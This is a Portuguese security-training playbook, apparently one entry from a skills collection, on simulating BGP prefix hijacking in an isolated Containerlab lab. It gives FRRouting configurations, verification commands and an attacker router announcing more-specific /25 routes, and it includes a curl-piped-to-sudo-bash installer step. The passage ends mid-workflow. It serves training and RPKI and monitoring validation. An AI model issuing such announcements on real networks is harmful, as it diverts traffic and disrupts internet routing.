Explorando Vulnerabilidades de Sequestro de BGP

Quando Usar

• Avaliar a exposição de uma organização a ataques de sequestro de prefixos BGP e vazamentos de rotas.
• Testar a implementação de RPKI (Resource Public Key Infrastructure) e a eficácia da validação de origem de rotas.
• Validar se os sistemas de monitoramento e alerta BGP detectam anúncios de rotas não autorizados.
• Simular sequestro de BGP em ambientes de laboratório isolados para treinar equipes de operações de rede.
• Avaliar configurações de filtragem de prefixos e autorização de origem de rotas (ROA) de ISPs.

Não use para realizar sequestro de BGP real na internet ativa, contra peers BGP sem autorização, ou para interromper a infraestrutura de roteamento real da internet. Ataques BGP em sistemas de produção são ilegais e podem causar interrupções generalizadas na internet.

Pré-requisitos

• Ambiente de laboratório BGP isolado usando GNS3, EVE-NG ou Containerlab com roteadores virtuais (FRRouting, BIRD ou Cisco IOS).
• Compreensão dos atributos de caminho BGP, caminho AS, anúncios de prefixos e seleção de rotas.
• Acesso a servidores BGP looking glass e validadores RPKI para monitorar o status de rotas do mundo real.
• Ferramentas bgpstream, RIPEstat e BGPalerter para monitoramento de rotas.
• Autorização por escrito para qualquer teste que envolva números AS reais ou anúncios de prefixos.

Fluxo de Trabalho

Etapa 1: Construir um Ambiente de Laboratório BGP Isolado

# Install Containerlab for BGP simulation
sudo bash -c "$(curl -sL https://get.containerlab.dev)"

# Create a BGP lab topology file
cat > bgp-lab.clab.yml << 'EOF'
name: bgp-hijack-lab
topology:
  nodes:
    # Legitimate AS (AS65001) announcing 10.0.0.0/24
    legitimate-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - legitimate-frr.conf:/etc/frr/frr.conf
    # Attacker AS (AS65002) that will hijack the prefix
    attacker-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - attacker-frr.conf:/etc/frr/frr.conf
    # Transit provider (AS65000) connecting both
    transit-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - transit-frr.conf:/etc/frr/frr.conf
    # Victim network receiving routes
    victim-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - victim-frr.conf:/etc/frr/frr.conf
  links:
    - endpoints: ["legitimate-router:eth1", "transit-router:eth1"]
    - endpoints: ["attacker-router:eth1", "transit-router:eth2"]
    - endpoints: ["transit-router:eth3", "victim-router:eth1"]
EOF

# Configure legitimate router (AS65001)
cat > legitimate-frr.conf << 'EOF'
frr defaults traditional
hostname legitimate-router
router bgp 65001
 bgp router-id 1.1.1.1
 neighbor 10.0.1.2 remote-as 65000
 address-family ipv4 unicast
  network 10.0.0.0/24
  neighbor 10.0.1.2 activate
 exit-address-family
!
interface eth1
 ip address 10.0.1.1/30
!
interface lo
 ip address 10.0.0.1/24
EOF

# Configure attacker router (AS65002) -- initially not announcing the prefix
cat > attacker-frr.conf << 'EOF'
frr defaults traditional
hostname attacker-router
router bgp 65002
 bgp router-id 2.2.2.2
 neighbor 10.0.2.2 remote-as 65000
 address-family ipv4 unicast
  neighbor 10.0.2.2 activate
 exit-address-family
!
interface eth1
 ip address 10.0.2.1/30
EOF

# Deploy the lab
sudo containerlab deploy -t bgp-lab.clab.yml

Etapa 2: Verificar o Roteamento BGP Legítimo

# Connect to victim router and verify route to 10.0.0.0/24
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip bgp"
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip route 10.0.0.0/24"

# Expected: Route via AS65000 AS65001 (legitimate path)
# Verify traceroute follows the legitimate path
docker exec -it clab-bgp-hijack-lab-victim-router traceroute 10.0.0.1

# Check BGP table on transit router
docker exec -it clab-bgp-hijack-lab-transit-router vtysh -c "show ip bgp 10.0.0.0/24"

Etapa 3: Simular Sequestro de Prefixo (Rota Mais Específica)

# No roteador atacante, anunciar prefixos mais específicos
docker exec -it clab-bgp-hijack-lab-attacker-router vtysh << 'VTYSH'
configure terminal
router bgp 65002
 address-family ipv4 unicast
  network 10.0.0.0/25
  network 10.0.0.128/25
 exit-address-family
!
interface lo
 ip address 10.0.0.1/25
 ip address 10.0.0.129/25
exit
end
write memory
VTYSH

# Verificar o sequestro no roteador vítima
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip bgp 10.0.0.0/24 longer-prefixes"

# A vítima agora deve preferir as rotas /25 via o atacante

…